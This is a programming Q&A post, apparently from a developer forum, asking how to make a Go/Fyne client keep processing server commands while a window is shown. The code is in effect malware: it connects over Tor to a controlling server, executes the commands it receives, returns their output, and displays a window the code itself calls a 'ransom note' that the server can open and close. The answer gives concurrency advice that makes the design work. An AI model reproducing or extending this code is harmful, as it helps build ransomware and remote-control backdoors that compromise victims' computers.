gofyne

Processing function in background while GUI is shown


I'm trying to fix this to work correctly I want the client to initConnection() in the background and to receive commands and process them while the message window is shown which the command is "CloseGUI" ..

func initConnection() {
    dialer, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", nil, proxy.Direct)
    if err != nil {
        log.Fatal("Failed to connect via SOCKS5 proxy:", err)
    }

    conn, err := dialer.Dial("tcp", "localHost")
    if err != nil {
        log.Fatal("Failed to connect to server:", err)
    }
    defer conn.Close()

    _, err = conn.Write([]byte(fmt.Sprintf("Connected")))
    if err != nil {
        log.Println("Error sending information to server:", err)
        return
    }

    fmt.Println("Connected to server.")

    scanner := bufio.NewScanner(conn)
    for scanner.Scan() {
        command := scanner.Text()
        commandAndParam := strings.Split(command, ",")

        receivedCommand := commandAndParam[0]

        switch receivedCommand {
        case "OpenGUI":
            DrawMessage()
            //The problem is when calling DrawMessage() and the GUI shows the client not processing the command anymore until the GUI is closed which is a problem for me because I want to close the GUI by commands from the server
        case "CloseGUI":
            // Here I want to hide the GUI and set
            MessageAllowed = false
        }
        // Execute the command
        output, err := executeCommand(receivedCommand)
        if err != nil {
            log.Println("Error executing command:", err)
            continue
        }

        // Send the command output to the server
        _, err = conn.Write([]byte(output + "\n"))
        if err != nil {
            log.Println("Error sending output to server:", err)
            break
        }
    }

    if scanner.Err() != nil {
        log.Println("Error reading input:", scanner.Err())
    }

    time.Sleep(100 * time.Millisecond)
}

the GUI function code:

func DrawMessage() {
    // Create a new Fyne application
    myApp := app.New()
    // Create a new window
    myWindow := myApp.NewWindow("Message From the Server!")

    // Create the ransom note message
    Note := widget.NewLabel("Hello World")
    
    content := container.NewVBox(
        Note,
    )

    // Set the content of the window
    myWindow.SetContent(content)

    // Show the window
    myWindow.ShowAndRun()
}

and this is the main function calling secondly I want to check if the MessageAllowed bool shows the Message also I want it to be saved even when the client is closed so when the client reconnects shows again if it is allowed

func main() {
    initConnection()
    if src.MessageAllowed == true {
        go DrawMessage()
    }
}

so eventually I want the client to receive the command and process it in the background while the Message is shown and I want to make the client check if the message is allowed from the last session with the server


Solution

  • Fyne (or any GUI toolkit) cannot run in the background - but your handler can. Use the “go” keyword in front of initConnection instead of DrawMessage.